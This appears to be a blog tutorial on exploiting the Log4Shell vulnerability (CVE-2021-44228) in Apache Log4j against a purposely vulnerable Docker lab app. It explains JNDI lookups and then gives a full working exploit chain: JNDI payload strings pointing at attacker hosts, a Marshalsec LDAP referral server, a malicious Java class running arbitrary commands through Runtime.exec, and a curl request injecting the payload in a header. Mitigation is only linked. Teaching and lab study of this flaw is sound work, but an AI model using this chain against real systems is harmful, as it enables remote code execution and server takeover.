Exploiting Log4Shell — How Log4J Applications Were Hacked
A Deep Dive into the Log4Shell Vulnerability [CVE-2021–44228]

Understanding Log4Shell
Log4Shell is a critical Remote Code Execution (RCE) vulnerability in the Apache Log4j logging framework. It went unnoticed for nearly eight years, since 2013, before its public disclosure in 2021.
In a nutshell,
Log4Shell arises when an attacker injects a specially crafted JNDI lookup string; Log4J may initiate a remote resource retrieval, potentially leading to arbitrary code execution. For example, if a log entry contains:
${jndi:ldap://malicious-server.com/exploit}
Log4J will process this string, initiate a JNDI lookup, and fetch the requested resource from an external LDAP or RMI server. If this resource is a malicious Java class, the application may execute it, leading to arbitrary code execution on the server.
Who is affected?
Vulnerable Apache Log4J versions 2.0-beta9 to 2.14.1. And WE ALL KNOW THE IMPACT.
The Innocent Log4J
Basically, Log4J is an open-source logging framework for Java applications. However, its lookup feature allows it to dynamically fetch data from various sources, such as environment variables and system properties.
What is Lookup, mate?
Basic Log4J Lookup
import org.apache.logging.log4j.Logger;
logger.info("Java Version: ${java:version}");
logger.info("User Home Directory: ${env:HOME}");
Output
INFO Log4JExample - Java Version: 1.8.0_301
INFO Log4JExample - User Home Directory: /home/user
These are normal, innocent, safe lookup features used to print environment variables and system properties. However, some lookups — like JNDI lookups — can be dangerous, as they allow fetching data from remote servers.
JNDI Lookup
JNDI (Java Naming and Directory Interface) lookup allows Java applications to fetch objects dynamically from remote directories, including LDAP (Lightweight Directory Access Protocol) servers.
JNDI was originally designed for Java applications to retrieve resources such as:
- Database connections (via JDBC)
- Remote Enterprise JavaBeans (EJBs)
- Directory services (e.g., LDAP)
Then Why Does Log4J Have JNDI Lookup?
Log4J intentionally added JNDI Lookup as a feature to fetch configuration values dynamically from external directories.
- Instead of hardcoding configurations, developers could store them in LDAP, RMI, or other JNDI-supported directories.
- The feature was meant to provide flexibility in logging configurations.
However, in practice, JNDI Lookup in Log4J was rarely used because logging frameworks typically don’t need to fetch remote data dynamically.
Safe JNDI Lookup Example
logger.info("App Name: ${jndi:ldap://localhost:389/o=example}");
Output
INFO JndiLookupExample - App Name: ExampleApp
Workflow of Log4Shell

- A Java application logs user input.
- The application takes user-controlled input (e.g., from a web request, API call, or form submission) and logs it using Log4J.
2. An attacker injects a malicious JNDI lookup string as input.
- The attacker sends a specially crafted payload containing a Dangerous JNDI lookup, such as:
${jndi:ldap://attacker.com/exploit}
3. Log4J interprets the input as a JNDI lookup and queries the attacker-controlled LDAP server.
- Instead of treating it as plain text, Log4J processes it as a lookup function and makes a request to
ldap://attacker.com/exploit
.
4. The attacker’s LDAP server responds with a malicious Java class.
- The malicious server sends back a serialized Java object containing arbitrary code.
5. The Java application executes the malicious Java class, leading to Remote Code Execution (RCE).
- The server runs the attacker’s payload, potentially granting full control over the system.
Exploitation
Setup Log4Shell Vulnerable App
We will use Christophe TD’s Log4Shell Vulnerable App for this demonstration.
You can run the vulnerable application using the following command:
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Once the container is running, the vulnerable application will be available at:

Don’t worry! Sending a GET request with the ‘X-Api-Version’ Header will give us a response.

We are all set up. Now Let’s move on to hacking this Vulnerable App.
Requirements for Exploiting Log4Shell
To successfully exploit the Log4Shell vulnerability, an attacker needs:
1. User-controlled input (A field where user input is logged)
2. Malicious JNDI lookup string (A payload to trigger the exploit)
3. An attacker-controlled LDAP server (To serve the malicious payload)
4. A malicious Java class file (Executed upon lookup to gain control)
Start The Hack
- In many cases, attackers inject the payload into headers like User-Agent. However, in this vulnerable application, we have user-controlled input in the X-Api-Version header, to send our malicious payload.
Setting Up an LDAP Server with Marshalsec
2. We need an LDAP server to serve a malicious Java class. We’ll use Marshalsec for this.
Why Use Marshalsec?
- It understands how Log4J’s JNDI lookup works.
- It directly serves Java payloads in the correct format.
- It efficiently handles RMI/LDAP exploitation chains.
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn package -DskipTests
Fixing Marshalsec Build Errors (Java Version Issue)
3. If you encounter errors while building Marshalsec, you’re likely using a higher Java version. Marshalsec requires Java 8. If you’re on Arch Linux, you can downgrade Java using the following commands:
sudo pacman -Rns jdk-openjdk // Remove Current Java version
yay -S jdk8-openjdk
sudo archlinux-java set java-8-openjdk
java -version // Verify the version
Once Java 8 is installed, rebuild the Marshalsec package:
mvn clean package -DskipTests
Starting the LDAP Server
4. After a successful build, start the LDAP server using:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<YOUR-IP>:8000/#Exploit"

Creating a Malicious Java Class File
5. We need to create a Java class file that will execute our command when loaded. Below is a simple exploit:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned"); // Command to execute
} catch (Exception e) {
e.printStackTrace();
}
}
}
This code will create a file named pwned inside the /tmp directory of the vulnerable server. You can replace “touch /tmp/pwned” with any command you want to execute.
Save this file as Exploit.java and compile it using:
javac Exploit.java # Compiling the java file
Starting a Python Server
6. Now that we have a compiled Java class file, we need to serve it over HTTP. Start a Python server in the same directory where Exploit.class is located:

Crafting the Malicious JNDI Payload
7. The next step is to craft a malicious JNDI lookup payload to inject in the ‘X-Api-Version’ header:
${jndi:ldap://<YOUR-IP>:1389/Exploit}
Final Setup Before Exploitation
8. At this point, we have:
- A malicious JNDI payload to send in the request
- A malicious LDAP server running on port 1389
- A Python server to serve our Exploit.class file
- A compiled malicious Java class file (Exploit.class)
Now, let’s execute the attack.

Sending the Malicious JNDI Payload
9. We send the malicious payload via the X-Api-Version header using curl
curl -H 'X-Api-Version: ${jndi:ldap://<YOUR-IP>:1389/Exploit}' http://localhost:8080

📌 What happens here?
1. The vulnerable application logs the input from X-Api-Version.
2. Log4J processes the JNDI lookup and contacts our malicious LDAP server.
3. The LDAP server redirects the request to our Python server hosting Exploit.class.
4. The vulnerable application loads and executes our malicious Java class file.
Verifying the Exploit Execution
10. To confirm the exploit was successful, check the /tmp directory inside the vulnerable container:
docker exec vulnerable-app ls /tmp
If the exploit worked, you should see the pwned file created inside /tmp.

Please refer to this article to learn about mitigation.
Thanks for Reading. Happy hacking!!
References
- https://hurricanelabs.com/blog/log4j-letting-the-jndi-out-of-the-bottle/
- https://medium.com/@satyendra.jaiswal/demystifying-jndi-simplifying-database-connectivity-in-java-applications-7132f59d01be
- https://javarush.com/en/groups/posts/en.2650.using-jndi-in-java
- https://www.csoonline.com/article/571789/how-to-properly-mitigate-the-log4j-vulnerabilities.html